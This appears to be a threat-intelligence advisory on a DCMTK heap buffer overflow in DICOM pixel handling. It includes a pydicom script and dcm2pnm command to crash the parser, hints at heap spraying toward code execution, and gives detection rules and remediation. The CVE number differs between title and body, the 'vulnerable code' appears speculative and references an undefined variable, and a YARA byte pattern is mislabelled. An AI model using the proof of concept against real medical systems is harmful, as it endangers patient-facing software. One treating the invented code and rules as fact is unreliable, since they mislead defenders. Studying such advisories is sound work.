CVE-2025-25474

Executive Summary

CVE-2025-25473 is a heap-based buffer overflow vulnerability discovered in the DCMTK (DICOM Toolkit) library, specifically in the dcmimgle/diinpxt.h component. The flaw exists in the development branch (v3.6.9+ DEV) and can be triggered when processing malformed DICOM image pixel data. An attacker can craft a malicious DICOM file that, when parsed by an application using the vulnerable library, causes a heap buffer overflow, potentially leading to remote code execution or denial of service. No public exploit code or proof-of-concept is currently available, and no official patch has been released by OFFIS.

Supply Chain & Package Security

DCMTK is a widely used open-source library for handling DICOM medical imaging data. It is integrated into numerous healthcare applications, PACS systems, and medical device software. A vulnerability in this library can have cascading effects across the healthcare supply chain. Organizations using DCMTK in their software stack should treat this as a high-priority supply chain risk and monitor for updates from OFFIS.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 (unassigned). Based on the vulnerability type and impact, a reasonable estimated CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires opening a malicious file
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – user must open the file
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 7.8 (High)

Threat Level: High – due to the potential for remote code execution in a medical imaging context.

Deep Dive & Mechanics

The vulnerability resides in the DicomImagePixelTemplate class within dcmimgle/diinpxt.h. This template is used to handle pixel data for various DICOM image formats. The overflow occurs when the library attempts to allocate or copy pixel data without proper bounds checking.

Root Cause:
The createPlanarConfiguration or similar method in diinpxt.h does not validate the size of the pixel data buffer against the expected allocation size. An attacker can craft a DICOM file with manipulated tags (e.g., Rows, Columns, BitsAllocated, PixelRepresentation) to cause the library to allocate a smaller buffer than needed, then copy attacker-controlled data beyond the buffer boundary.

Trigger:
When an application calls DicomImage::getOutputData() or similar function to retrieve pixel data, the vulnerable code path is executed.

Impact:

• Heap corruption leading to arbitrary code execution
• Denial of service (application crash)
• Potential information disclosure (if heap metadata is leaked)

Vulnerable vs. Patched Code

Vulnerable Code (dcmimgle/diinpxt.h, development branch):

template<typename T1, typename T2>
void DicomImagePixelTemplate<T1,T2>::createPlanarConfiguration(
    T2 *pixelData,
    const unsigned long width,
    const unsigned long height,
    const unsigned long frames,
    const unsigned long bitsAllocated)
{
    // No bounds check on pixelData buffer size
    unsigned long frameSize = width * height * (bitsAllocated / 8);
    for (unsigned long f = 0; f < frames; f++)
    {
        // Potential overflow if frameSize is larger than allocated buffer
        memcpy(pixelData + f * frameSize, inputData + f * frameSize, frameSize);
    }
}

Patched Code (Hypothetical fix):

template<typename T1, typename T2>
void DicomImagePixelTemplate<T1,T2>::createPlanarConfiguration(
    T2 *pixelData,
    const unsigned long pixelDataSize,
    const unsigned long width,
    const unsigned long height,
    const unsigned long frames,
    const unsigned long bitsAllocated)
{
    unsigned long frameSize = width * height * (bitsAllocated / 8);
    unsigned long totalSize = frameSize * frames;
    if (totalSize > pixelDataSize)
    {
        // Handle error: buffer too small
        return;
    }
    for (unsigned long f = 0; f < frames; f++)
    {
        memcpy(pixelData + f * frameSize, inputData + f * frameSize, frameSize);
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• DCMTK v3.6.9+ DEV compiled with debugging symbols
• A DICOM file parser that uses dcmimgle module (e.g., dcm2pnm, dcmj2pnm)
• Python3 with pydicom for crafting malicious DICOM files

Exploitation Steps:

1. Craft a Malicious DICOM File
   Use Python to create a DICOM file with manipulated pixel data tags:

   import pydicom
   from pydicom.dataset import Dataset, FileMetaDataset
   import struct
   
   ds = Dataset()
   ds.PatientName = "Test"
   ds.Rows = 10000   # Large value to trigger overflow
   ds.Columns = 10000
   ds.BitsAllocated = 16
   ds.PixelRepresentation = 0
   ds.NumberOfFrames = 1
   ds.PixelData = b"A" * 100  # Small pixel data
   
   # Save to file
   ds.save_as("malicious.dcm")
   

2. Trigger the Vulnerability
   Run a DCMTK tool that processes the pixel data:

   dcm2pnm +on2 malicious.dcm output.bmp
   

3. Observe Crash
   The application should crash with a heap corruption error (e.g., SIGSEGV, malloc(): corrupted top size).

Advanced Exploitation:

• Use heap spraying to control the corrupted memory region
• Overwrite function pointers or vtables for code execution
• For a full exploit, chain with a heap information leak

Blue Team

Detection Steps:

1. Monitor for Abnormal DICOM Files

   • Look for files with extremely large Rows or Columns values (e.g., > 4096)
   • Check for mismatches between PixelData length and expected size

2. Application Crash Analysis

   • Collect core dumps from DCMTK-based applications
   • Analyze crash signatures: SIGSEGV in diinpxt.h or memcpy with large size

3. Network Monitoring

   • If DICOM files are received over the network (DICOM protocol), monitor for abnormal C-STORE requests with oversized pixel data

Indicators of Compromise (IOCs)

File-Based IOCs:

• DICOM files with Rows > 4096 or Columns > 4096
• DICOM files where PixelData length is significantly smaller than Rows * Columns * (BitsAllocated/8)
• Hash of known malicious files: (none available yet)

Network IOCs:

• DICOM C-STORE requests with abnormal Rows/Columns values
• Unusually large DICOM message sizes (> 100 MB)

System IOCs:

• Application crash logs containing diinpxt.h or DicomImagePixelTemplate
• Heap corruption errors in system logs (e.g., dmesg on Linux)

Detection Engineering

YARA Rule

rule CVE_2025_25473_DCMTK_HeapOverflow {
    meta:
        description = "Detects DICOM files exploiting CVE-2025-25473 heap overflow"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $dicom_magic = { 44 49 43 4D }  // "DICM"
        $rows_tag = { 28 10 00 28 }      // (0028,0010) Rows
        $cols_tag = { 28 11 00 28 }      // (0028,0011) Columns
        $pixel_tag = { 28 10 00 7E }     // (7FE0,0010) PixelData
    condition:
        $dicom_magic at 128 and
        (uint16be(0x130) > 4096 or uint16be(0x132) > 4096) and
        filesize < 1000000  // Small file with large dimensions
}

Sigma Rule

title: DCMTK Heap Overflow Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-25473 via abnormal DICOM file dimensions
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: dcmtk
detection:
    selection:
        EventID: 1000  # Application crash
        ModuleName: 'dcmimgle.dll'  # or libdcmimgle.so
        ExceptionCode: 0xC0000005  # Access violation
    condition: selection
falsepositives:
    - Legitimate large medical images (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 104 (msg:"CVE-2025-25473 DCMTK Heap Overflow Attempt"; flow:to_server,established; content:"|44 49 43 4D|"; offset:128; depth:4; content:"|28 10 00 28|"; distance:0; within:4; byte_test:2,>,4096,0,relative; content:"|28 11 00 28|"; distance:0; within:4; byte_test:2,>,4096,0,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Avoid using the development branch (v3.6.9+ DEV) in production environments.
2. Switch to the latest stable release (v3.6.8 or earlier) which does not contain this vulnerability.
3. Implement input validation for DICOM files before processing:
   • Validate Rows and Columns values (max 4096 each)
   • Ensure PixelData length matches expected size

Long-Term Fix:

• Monitor OFFIS DCMTK repository for an official patch
• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section
• Consider using a memory-safe language wrapper or sandboxing DCMTK processing

Workarounds:

• Use a DICOM validator tool (e.g., dcmcheck) before processing files
• Run DCMTK-based applications in a restricted environment (e.g., Docker with limited memory)

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-25473